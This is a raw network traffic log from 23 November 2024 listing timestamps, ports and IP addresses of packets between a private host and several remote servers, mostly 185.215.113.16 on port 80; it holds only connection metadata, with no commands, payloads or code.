Nov 23, 2024 18:22:29.156595945 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.156621933 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.156667948 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.157224894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.157278061 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.230151892 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.230236053 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.230463982 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.230489969 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.230505943 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.230518103 CET	49801	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.230528116 CET	443	49801	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.232872009 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.232893944 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.232965946 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.233067989 CET	49808	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.233083963 CET	443	49808	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.295368910 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.295464039 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.295468092 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.295538902 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.295804977 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.295821905 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.295896053 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.296333075 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.296386003 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.296497107 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.296546936 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.297029972 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.297082901 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.297147036 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.297192097 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.297750950 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.297810078 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.297838926 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.297888994 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.298491001 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.298542976 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.298572063 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.298621893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.299268007 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.299323082 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.299524069 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.299582005 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.335443974 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.335499048 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.335583925 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.335670948 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.335728884 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.335741043 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.335783958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.336404085 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.336452007 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.336519957 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.336563110 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.337091923 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.337137938 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.337210894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.337254047 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.337807894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.337927103 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.337973118 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.338557959 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.338613033 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.338670015 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.338716030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.339288950 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.339342117 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.339461088 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.339507103 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.340218067 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.340276957 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.340415955 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.340538025 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.341232061 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.341294050 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.341372013 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.342251062 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.342308044 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.342367887 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.342427015 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.343116045 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.343216896 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.343271017 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.343679905 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.343739033 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.343755960 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.343808889 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.344161034 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.344216108 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.344217062 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.344261885 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.344738007 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.344780922 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.344803095 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.345156908 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.345468044 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.345541954 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.345592022 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.345954895 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.346030951 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.346101046 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.346466064 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.346525908 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.346630096 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.346682072 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.347239017 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.347289085 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.347323895 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.347373962 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.347831964 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.347881079 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.347934961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.348059893 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.348567009 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.348623037 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.348696947 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.348746061 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.349287987 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.349364042 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.349406958 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.349422932 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.349984884 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.350084066 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.350145102 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.350689888 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.350747108 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.350795031 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.350852013 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.351399899 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.351449966 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.351501942 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.351551056 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.352127075 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.352179050 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.352245092 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.352293015 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.352842093 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.352891922 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.353115082 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.353168964 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.353574038 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.353622913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.353643894 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.353691101 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.354263067 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.354314089 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.354377985 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.354435921 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.355051041 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.355103016 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.355143070 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.355190992 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.355824947 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.355896950 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.355921030 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.355971098 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.356436014 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.356486082 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.356501102 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.356556892 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.357126951 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.357177973 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.357245922 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.357295990 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.357865095 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.357975006 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.358031988 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.358596087 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.358661890 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.358694077 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.358748913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.359450102 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.359496117 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.359496117 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.359544039 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.360068083 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.360116959 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.360172987 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.360220909 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.360717058 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.360765934 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.360827923 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.360874891 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.361483097 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.361537933 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.361561060 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.361609936 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.362206936 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.362263918 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.362291098 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.362337112 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.362859011 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.362905979 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.362951994 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.362999916 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.363573074 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.363622904 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.363707066 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.363954067 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.364320993 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.364371061 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.364393950 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.364448071 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.365031958 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.365082979 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.365108967 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.365154982 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.365736961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.365793943 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.365895033 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.365957022 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.366437912 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.366451025 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.366487980 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.367161036 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.367243052 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.367297888 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.367868900 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.367928028 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.452299118 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.452380896 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.453502893 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.453524113 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.453746080 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.455429077 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.455527067 CET	49806	443	192.168.2.4	172.67.162.84
Nov 23, 2024 18:22:29.455550909 CET	443	49806	172.67.162.84	192.168.2.4
Nov 23, 2024 18:22:29.461868048 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.461908102 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.461920023 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.461976051 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.462068081 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.462129116 CET	49802	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.462140083 CET	443	49802	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.462153912 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.462203979 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.462215900 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.462227106 CET	49803	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.462232113 CET	443	49803	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.465306044 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.465322971 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.465378046 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.465497971 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.465512991 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.465575933 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.465615034 CET	49809	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.465625048 CET	443	49809	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.465734959 CET	49810	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.465745926 CET	443	49810	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.505981922 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.506094933 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.506177902 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.506311893 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.506371021 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.506378889 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.506437063 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.507014036 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.507061005 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.507183075 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.507240057 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.507734060 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.507821083 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.507870913 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.508414984 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.508464098 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.508507013 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.508553982 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.509150028 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.509196997 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.509278059 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.509326935 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.509841919 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.509888887 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.509926081 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.509974003 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.555207014 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.555289984 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.555433989 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.555495024 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.555526018 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.555577040 CET	49804	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.555593014 CET	443	49804	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.557784081 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.557799101 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.557856083 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.557954073 CET	49811	443	192.168.2.4	13.107.246.63
Nov 23, 2024 18:22:29.557964087 CET	443	49811	13.107.246.63	192.168.2.4
Nov 23, 2024 18:22:29.563951015 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.564009905 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.564047098 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.564069986 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.564305067 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.564353943 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.564407110 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.564460993 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.565002918 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.565052986 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.565078020 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.565125942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.565711021 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.565762997 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.565812111 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.565860987 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.566416025 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.566464901 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.566545963 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.566598892 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.567118883 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.567167997 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.567223072 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.567276955 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.567850113 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.567899942 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.568011999 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.568061113 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.568556070 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.568603992 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.568702936 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.568747044 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.569259882 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.569308043 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.569436073 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.569484949 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.570003986 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.570053101 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.570148945 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.570203066 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.570683002 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.570729971 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.570825100 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.570874929 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.571424961 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.571472883 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.571552038 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.571600914 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.572138071 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.572187901 CET	49800	80	192.168.2.4	185.215.113.16
Nov 23, 2024 18:22:29.572226048 CET	80	49800	185.215.113.16	192.168.2.4
Nov 23, 2024 18:22:29.572273970 CET	49800	80	192.168.2.4	185.215.113.16
